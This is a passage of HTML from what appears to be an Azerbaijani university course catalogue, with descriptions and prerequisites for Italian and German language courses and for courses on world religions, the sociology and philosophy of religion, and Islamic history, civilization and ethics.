text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>ITAL 201 İtalyan Dili - 1 ( 6&nbsp;kredit )&nbsp;</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>İlkin Şərt YOXDUR</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\">Kursun məqsədi tələbələrə dinləmə, oxu, danışıq və yazı kimi əsas dil bacarıqları başda olmaqla italyan&nbsp;hərfləri, tələffüz və qrammatikanın da daxil olduğu standard italyan&nbsp;dilinin əsaslarını tədris etməkdir. Bu kursun sonunda italyan&nbsp;dilini başa düməyən və ya o dildə danışa bilməyən tələbələrin yazma, sadə cümlə qurma və elementar səviyyədə danışma bacarığına yiyələnməsi tələb olunur.&nbsp;<br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>ITAL 202 İtalyan Dili - 2 ( 6&nbsp;kredit )</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>İlkin Şərt ITAL 201</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\">ITAL 201 kursunun davamı olaraq bu kursun əsas məqsədi öncəki kursda əldə olunmuş dörd dil bacarığının daha da inkişaf etdirilməsi&nbsp;italyan&nbsp;dilinin elementar səviyyədə başa düşülməsi, oxunması, yazılması və danışılmasıdır.&nbsp;</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>GERM 201&nbsp;Alman Dili - 1 ( 6&nbsp;kredit )</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>İlkin Şərt YOXDUR</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\">&nbsp;Kursun məqsədi tələbələrə dinləmə, oxu, danışıq və yazı kimi əsas dil bacarıqları başda olmaqla alman&nbsp;hərfləri, tələffüz və qrammatikanın da daxil olduğu standard alman&nbsp;dilinin əsaslarını tədris etməkdir. Bu kursun sonunda alman&nbsp;dilini başa düməyən və ya o dildə danışa bilməyən tələbələrin yazma, sadə cümlə qurma və elementar səviyyədə danışma bacarığına yiyələnməsi tələb olunur.&nbsp;</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>GERM 202 Alman Dili - 2 ( 6&nbsp;kredit )&nbsp;</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>İlkin Şərt GERM 201&nbsp;</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\">GERM 201 kursunun davamı olaraq bu kursun əsas məqsədi öncəki kursda əldə olunmuş dörd dil bacarığının daha da inkişaf etdirilməsi alman&nbsp;dilinin elementar səviyyədə başa düşülməsi, oxunması, yazılması və danışılmasıdır.&nbsp;</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>REL 201 Dünya Dinlərinə Giriş (6&nbsp;kredit)&nbsp;</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>İlkin Şərt YOXDUR&nbsp;</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\">Kurs sosial elmlər nöqteyi nəzərindən müasir dünyada dinin mövqeyini təhlil və müzakirə edir. Kurs eyni zamanda müxtəlif dini ənənələrin fənlərarası araşdırmasını da müzakirə obyektinə çevirir. Kursda müqayisəli dinlər tarixi araşdırmalarının nəzəriyyə və metodlarından istifadə edilərək dinlərdə oxşarlıq və fərqlilik, ardıcıllıq və dəyişiklik, köç və lokallaşma mövzuları tədqiq və təhlil edilir. Kursun digər mühüm məqsədləri dinlərin yaranma və əsas prinsipləri diqqətə alınaraq onların mədəniyyət və tarixi cəhətdən öyrənilməsi, müxtəlif dini ənənələr arasındakı düşüncə və təcrübə cəhətdən oxşar və fərqli cəhətlərin müəyyənləşdirilməsi, mühüm inanc, fəsəfə, qaydalar və qurumların araşdırılmasıdır.</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>REL 201 Dinlər tarixi (6&nbsp;kredit)</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>İlkin Şərt YOXUR</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\">Digər məqsədlərlə yanaşı kurs dünya dinlərinin müfəssəl öyrənilməsi və tənqidi araşdırmasını hədəfləyir (əsasən İudaizm, Xristianlıq, İslam, Hnduizm, Buddizm, Konfusianizm, Caynizm, Daosizm, Sinto, Sihizm və s. kimi Yaxın Şərq və Şərqi Asiya dinləri) onların dini ehkamları, ibadət və ayinləri, əxlaq və dəyər sistemləri, müqəddəs kitabları araşdırır. Həmçinin kursda müasir alimlərin elmi cəhətdən dinləri müxtəlif kateqoriyalara ayırması məsələsi təhlil olunur.</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>REL 403 Din və qloballaşma (6&nbsp;kredit)</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>İlkin Şərt müəllimin razılığı</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\">Kursun əsas məqəsdi sosial elmlər nöqteyi nəzərindən müasir dünyada dinin mövqeyini təhlil və müzakirə etməkdir. Tələbələrin qloballaşma və müasirliyin müxtəlif anlamları, dünyəvilik nəzəriyyələri, din üzərində qloballaşmanın təsirləri, yerli mədəniyyətlərin aşınması, qloballaşma prosesi, din və şəxsiyyət arasındakı əlaqəni mənimsəmə və dəyərləndirmə imkanlarını genişləndirmək. Kurs qloballasma və müasirliyə cavab olaraq müxtəlif dinlərdə dini fundamentalizmin qlobal artışını və dinin elmi araşdırmasında alternative qeyri-fundamentalist anlayışları müzakirə edir.&nbsp;</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>REL 302 Dinin Sosiologiyası (6&nbsp;kredit)</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>İlkin Şərt müəllimin razılığı</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\">Kurs dini bilik və inanc sisteminin müxtəlif formalarını, dini fəaliyyətin sosial tərəflərini, dini fəaliyyət və təcrübəni, sosial elmlər nöqteyi nəzərindən dini inanc və biliklərin formalarını təhlil edir. Kursun əsas məqsədi tələbələrin dinin sosiologiyası ilə bağlı nəzəri məsələlər haqqında biliklərə yiyələnməsidir. Kursun digər əsas məqsədləri tələbələrin icma və cəmiyyətlər baxımından dinin nəticələri; dinin mahiyyətinə dair sosioloqların müxtəlif nəzəriyyələri; dinlə əlaqəli müasir məsələ və hadisələrin təhlilində sosioloji fikirləri tətbiq etmə bacarığının formalaşdırılmasıdır.</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>REL 314 Din Fəlsəfəsi (6&nbsp;kredit)</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>İlkin Şərt müəllimin razılığı</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\">Kurs bəşər tarixində dini yanaşmalarla əlaqəli mövcud olmuş nəzəri məsələləri araşdırır, əsas cərəyan və problemləri, Allahın mövcudluğu və əksi olan arqumentləri, Qədim Yunan, Orta Əsr Avropa, İslam dünyası, Asiya və müasir dövr din fəlsəfəçilərinin əsərləri vasitəsilə din dilinin xarakterik xüsusiyyəti və dini inam və məntiq kontekstində din və fəlsəfə arasındakı əlaqə nöqteyi nəzərdən seçilmiş materialları oxumaq və müzakirə etməklə qədim dövrdən müasir dövrə qədər mövcud olmuş dünya sivilizasiyalarının fəlsəfi ənənəsini təhlil edir.</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>ISL 210 İslamın Tarixi (6&nbsp;kredit)</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>İlkin Şərt YOXDUR</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\">Kurs elmi sahə kimi tarixi metod və üsullardan istifadə edərək yarandığı dövrdən 20-ci əsrin başlanğıcına qədər İslam mənşəli sülalələrin və imperiyaların tərəqqi və tənəzzül səbəbləri, regionda siyası və mədəni gücünü vurğulayaraq onların siyasi, iqtisadi və mədəni tarixini araşdırır. Kurs həmçinin tələbələri İslam ölkələri və sülalələrinin siyasi, sosial, iqtisadi, mədəni, düşüncə və qurum tarixləri, dünya tarixində onların rolu haqqında zəngin biliklə təmin edir.&nbsp;</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>ISL 312 İslam Sivilizasiyası (6&nbsp;kredit)</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>İlkin Şərt müəllimin razılığı</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\">Kursda İslam dünyasının dünya sivilizasiyası tarixindəki yerin araşdırılır. Kurs həmçinin islami qurumlar, memarlıq, musiqi, ədəbiyyat, təsviri incəsənətin əsas tərəflərini əsas tutaraq İslam xilafətinin yarandığı dövrdən onun İslam dünyasındakı müasir varislərinə qədər İslam sivilizasiyasının tarixi inkişafını araşdıracaqdır. Kurs eyni zamanda 14 əsr ərzində İslam sivilizasiyasını formalaşdıran əsas dini, sosial və mədəni xüsusiyyətləri təhlil edəcəkdir.&nbsp;</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>ISL 208 İslam Əxlaqı (6&nbsp;kredit)</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>İlkin Şərt müəllimin razılığı</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\">Kursun əsas məqsədi İslam əxlaqının əsas metodları, mənbələri, təbiəti və məqsədlərinin, Qurani-Kərim və hədislərdə öz əksini tapmış şeytan, iztirab və ölüm, həyatın mənası, insan təbiəti haqqında İslam əxlaqına aid əsas sualların təhlilini və erkən dövrdən müasir əsərlərə qədər mənbələr əsasında abort, klonlaşdırma, orqan köçürmə kimi müasir əxlaqi məsələlərin araşdırmasını aparmaqdır. Tələbələr əl-Kindi, Əbu Bəkir ər-Razi, İbn Misqəveyh, İbn Sina, Fərabi, Qəzali, Tusi və müasir İslam dünyasında onların düşüncə təsirlərini davam etdirən mütəfəkkirlərdən seçilmiş əsərlər vasitəsilə məşhur filosofların İslam əxlaqı haqqındakı nəzəriyyələrilə tanış olmaq imkanı əldə edəcəklər.</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>ISL 314 Islam Düşüncəsi (6 kredit)</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>İlkin Şərt müəllimin razılığı</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; 